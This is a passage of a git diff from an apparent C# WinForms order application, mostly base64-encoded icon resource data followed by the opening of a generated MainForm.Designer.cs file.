P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/zP9+P63/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///41W///g0f///v7///////////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////+vf//7SP//+AQf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+AQv//rYT///Tv///+/f////////////////////////////////////////////// + /////////f3+//Dq/v/czfr/vaP1/6yN8f+6oPT/y7X4//Hs/f///v////////////////////////// + //////////////////////////7+///dzP//jlf//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj+t/34/hP9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///jVX//+DR///+/v////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////7+///j1f//kFr//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+PWf//2MX///38//// + /v////////////////////////////////////////////////////7//v7+//r4/v/18f7/7uf8/+zn + /P/+/v///////////////////////////////////////////////////////////////v7//97O//+N + Vv//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P4T/fj9U/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///+KUP//3s7///7+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////+fb//7KN//+BRP//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4FE//+uh///9O////7+///+/v////////////////////////////// + /////////////////////////v7///79/////v///v7///////////////////////////////////// + ///////////////////////////////+/v//2sj//41V//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/Vv9+ + Pxz/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///4dN///byf///v7///////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////7+///cy///jVX//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///45X///W + wf///fv///7+//////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////79///S + vf//iE7//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj8dAAAAAP9+P9f/fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hEf//9O9///+/v////////////// + //////////////////////////////////////////////////////////////////////////////// + ////////////////////////////////////////////////////9/P//6qB//+AQv//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///gEL//6h9///z7f///v7////+//////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7//8Wo//+ESP//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/2AAA + AAAAAAAA/34/j/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9/Qf//x6z///38//////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////79///Tvv//iU///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///iVD//8uy///9+/////////////////////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////////////////9 + /P//tJD//39B//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj+QAAAAAAAAAAD/fj86/34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+6mP//+/j///////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////v//7eT//55v//9/Qf//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9/Qf//nGz//+ne///+/v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////Xw//+jdv//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + PzoAAAAAAAAAAP9+PwH/fj/a/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///6l////07v////////////////////////////////////////////// + ///////////////////////////////////////////////////////////////////////////+///+ + /v///v7///n2//+8nP//hUn//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+GSv//upn///j1/////v////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /v//4tT//5Fb//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/b/34/AQAAAAAAAAAAAAAAAP9+P3T/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///mGX//+PV//// + /v////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////v7///7+///9/P//2sj//5Jc//9/QP//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///39A//+TXv//2cb///38//// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////z7///Bov//hEj//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P3QAAAAAAAAAAAAAAAAAAAAA/34/DP9+P+3/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+HTf//wqX///z7//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////79//// + /v///v7//+vh//+keP//gUT//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4JE//+keP//6+H///7+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /v//7ub//59x//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/t/34/DQAAAAAAAAAAAAAAAAAAAAAAAAAA/34/f/9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4BB//+h + c///7+f///////////////////////////////////////////////////////////////////////// + ///////////////////////////////+/v/////////+///z7f//tZD//4VJ//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///4RI//+0 + kP//9O////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////z6///Jr///h03//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P38AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8Q/34/6v9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4hN///Jrv///Pv//////////////v3///7+//// + //////////////////////////////////////////////////////////////////////7///////// + /v//8uv//7qZ//+JT///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4pQ///Bo///+vj///////////////////////// + ///////////////////////////////////////////////////////////////////////////////+ + /v//59v//51u//9/QP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/q/34/EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/fj9g/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///f0D//5po///m2v////7///////////////////////////////////////////////////////// + /////////////////////////////////v///v7///Dp//+4lf//ilD//39A//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///f0H//49Z///PuP///Pr///////////////////////////////////////////////////////// + //////////////////////////////////////////Xw//+zjf//hEf//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P2EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj/D/34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///g0b//6yD///x6f////7///////// + ///////////////////////////////+/v////////////////////////////////////7///v5///i + 1P//rIP//4VK//9/QP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0H//5Jd///Ntf//+vj///////// + ///////////////////////////////////////////////////////////////////////////////3 + 9P//waP//4lP//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/D/34/AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAP9+PyL/fj/w/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///hUr//7KM///v5v///v3///////////////////////////////////////// + //////////////////////7///38///x6v//y7L//5pp//+CRf//fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///f0D//45W///Aof//8uz////+//////////////////////////////////// + ////////////////////////////////////9vH//8Kk//+MU///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/8P9+ + PyIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P1T/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hkr//6qB///f + 0P//+vj////+///////////////+//////////////////////////7///39///y6///0br//6h9//+K + UP//f0H//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0D//4hO//+q + gP//3s7///n3/////v///////////////////////////////////////////////v///fz//+zi//+3 + k///ilD//39A//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj9VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P4j/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///gkT//5Nf//+4lf//3c3///Pt///7+f///fz///7+///9 + +///+vf///Lr///ezf//vp///6Bx//+LU///gUP//34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///4BC//+TX///upj//+LU///49f///f3////+///+ + /v///v7////+///+/f//+/j//+7m///Lsv//n3D//4RI//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/iQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Af9+ + P6T/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///f0D//4NG//+PWf//nm7//6h9//+uhv//rof//6yD//+lev//nGv//45X//+DRv//fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///+DR///k1///6qB///Ep///2MT//+LU///j1f//28r//820//+1kf//nGz//4lP//+A + Qf//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P6T/fj8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Bv9+P7f/fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///f0D//4NG//+J + T///j1j//5Fb//+NVv//h0z//4BC//9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj+3/34/BgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/34/Bv9+P6X/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/pf9+PwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Af9+P4z/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P4z/fj8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P1X/fj/x/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P/H/fj9VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+ + PyT/fj/E/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/E/34/IwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PwH/fj9g/34/6/9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj/r/34/YP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAD/fj8Q/34/f/9+P+3/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/t/34/f/9+PxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Df9+ + P3T/fj/V/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/V/34/dP9+ + Pw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8z/34/jf9+P9f/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P9f/fj+N/34/MwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pxv/fj9U/34/ff9+P6X/fj/L/34/4/9+P/L/fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/y/34/4/9+P8v/fj+l/34/ff9+P1T/fj8bAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA////AAAAAAAAAAAAAP//////+AAAAAAAAAAAAAAf/////8AAAAAAAAAA + AAAAA/////8AAAAAAAAAAAAAAAD////8AAAAAAAAAAAAAAAAP///+AAAAAAAAAAAAAAAAB////AAAAAA + AAAAAAAAAAAP///AAAAAAAAAAAAAAAAAA///gAAAAAAAAAAAAAAAAAH//wAAAAAAAAAAAAAAAAAA//4A + AAAAAAAAAAAAAAAAAH/+AAAAAAAAAAAAAAAAAAB//AAAAAAAAAAAAAAAAAAAP/gAAAAAAAAAAAAAAAAA + AB/wAAAAAAAAAAAAAAAAAAAP8AAAAAAAAAAAAAAAAAAAD+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAA + AAAAAAAHwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAOAAAAAAAAAAAAAAAAAAAABgAAAAAAA + AAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AACAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAAAAPgAAAAAAAAAAAAAAAAAAAH4AAAAAAA + AAAAAAAAAAAAB/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP+AAAAAAAAAAAAAAAAAAAH/wA + AAAAAAAAAAAAAAAAAD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAA + AP//gAAAAAAAAAAAAAAAAAH//8AAAAAAAAAAAAAAAAAD///wAAAAAAAAAAAAAAAAD///+AAAAAAAAAAA + AAAAAB////wAAAAAAAAAAAAAAAA/////AAAAAAAAAAAAAAAA/////8AAAAAAAAAAAAAAA//////4AAAA + AAAAAAAAAB///////wAAAAAAAAAAAAD///8= + + + \ No newline at end of file diff --git a/29WxOrder/MainForm.Designer.cs b/29WxOrder/MainForm.Designer.cs new file mode 100644 index 0000000..de4784d --- /dev/null +++ b/29WxOrder/MainForm.Designer.cs @@ -0,0 +1,1792 @@ + +namespace _29WxOrder +{ + partial class MainForm + { + /// + /// 必需的设计器变量。 + /// + private System.ComponentModel.IContainer components = null; + + /// + /// 清理所有正在使用的资源。 + /// + /// 如果应释放托管资源,为 true;否则为 false。 + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows 窗体设计器生成的代码 + + /// + /// 设计器支持所需的方法 - 不要修改 + /// 使用代码编辑器修改此方法的内容。 + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(MainForm)); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle1 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle2 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle3 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle4 = new System.Windows.Forms.DataGridViewCellStyle(); + System.Windows.Forms.DataGridViewCellStyle dataGridViewCellStyle5 = new System.Windows.Forms.DataGridViewCellStyle(); + this.panel1 = new 